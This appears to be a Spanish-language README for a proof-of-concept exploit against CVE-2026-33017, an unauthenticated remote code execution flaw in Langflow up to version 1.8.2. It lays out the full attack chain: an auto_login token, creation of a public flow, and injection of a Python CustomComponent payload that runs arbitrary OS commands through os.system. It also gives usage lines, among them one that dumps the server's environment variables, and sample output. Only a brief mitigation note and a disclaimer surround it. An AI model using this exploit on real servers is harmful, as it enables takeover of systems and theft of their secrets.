
Prueba de concepto para CVE-2026-33017, que demuestra la ejecución remota de código no autenticada en versiones vulnerables de Langflow mediante la inyección maliciosa de código en CustomComponent.
ID de CVE: CVE-2026-33017
Software afectado: Langflow
Versiones vulnerables: <= 1.8.2
Versión corregida: >= 1.9.0
Gravedad: Crítica
Autor: arensballiu
Fecha: 2026
Langflow expone un endpoint público de compilación de flujos (/api/v1/build_public_tmp/{flowID}/flow) que acepta
bloques de código CustomComponent arbitrarios y los ejecuta en el lado del servidor sin autenticación. Al
inyectar una carga útil maliciosa de Python en el campo code de un nodo CustomComponent, un atacante
no autenticado puede ejecutar comandos arbitrarios del sistema operativo con los privilegios del proceso del servidor de Langflow.
La cadena de ataque primero abusa del endpoint /api/v1/auto_login, que emite un token de portador sin
requerir credenciales cuando Langflow se ejecuta en su configuración predeterminada de inicio de sesión automático. Luego utiliza
ese token para crear un flujo público temporal y desencadenar la ejecución de código en el lado del servidor a través del endpoint
de compilación.
Se incluye un archivo docker que crea una instancia docker con langflow instalado y en ejecución.
| Endpoint | Método | Autenticación requerida | Propósito |
|---|---|---|---|
/api/v1/auto_login | GET | No | Obtener token de portador (el inicio de sesión automático debe estar habilitado) |
/api/v1/flows/ | POST | Sí (Bearer) | Crear un nuevo flujo |
/api/v1/build_public_tmp/{flowID}/flow | POST | No (público) | Desencadenar la compilación - punto de ejecución vulnerable |
/api/v1/flows/{flowID} | DELETE | Sí (Bearer) | Limpiar el flujo creado |
Archivo: CVE-2026-33017_POC.py
requestspip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
| Flag | Forma larga | Obligatorio | Descripción |
|---|---|---|---|
-u | --url | Sí | URL base de la instancia de Langflow |
-c | --command | Sí | Comando del sistema operativo a ejecutar en el servidor |
-d | --delete | No | Eliminar el flujo creado después de la explotación |
Verificar la ejecución de código:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
Recuperar variables de entorno del servidor:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
Mantén el flujo activo después de la explotación (omite la limpieza):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
El exploit inyecta el siguiente fragmento de Python en el campo code de un nodo CustomComponent:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - importa dinámicamente el módulo os y ejecuta en el servidor el comando de shell proporcionado por el atacante.CustomComponent válido, necesario para satisfacer el cargador de componentes de Langflow sin generar un error de análisis.PUBLIC y se invoca el endpoint de compilación en su endpoint público, lo que significa que no se requiere cookie de sesión ni token de autenticación para desencadenar la ejecución.El sistema CustomComponent de Langflow permite enviar código Python arbitrario como parte de la definición de un flujo. El endpoint /api/v1/build_public_tmp/{flowID}/flow compila y evalúa parcialmente este código en el lado del servidor, incluidas las sentencias a nivel de módulo, sin sandboxing ni restricción del acceso a los built-ins de Python como __import__.
1. GET /api/v1/auto_login → Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/ → Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/ → Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id} → Clean up (optional)
Todos los cuatro pasos pueden ser ejecutados por un atacante anónimo contra una implementación predeterminada de Langflow.
LANGFLOW_AUTO_LOGIN=false) en cualquier implementación expuesta a internet.Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. El uso de este script contra sistemas sin permiso escrito explícito es ilegal y poco ético. El autor y los colaboradores no asumen ninguna responsabilidad por el uso indebido.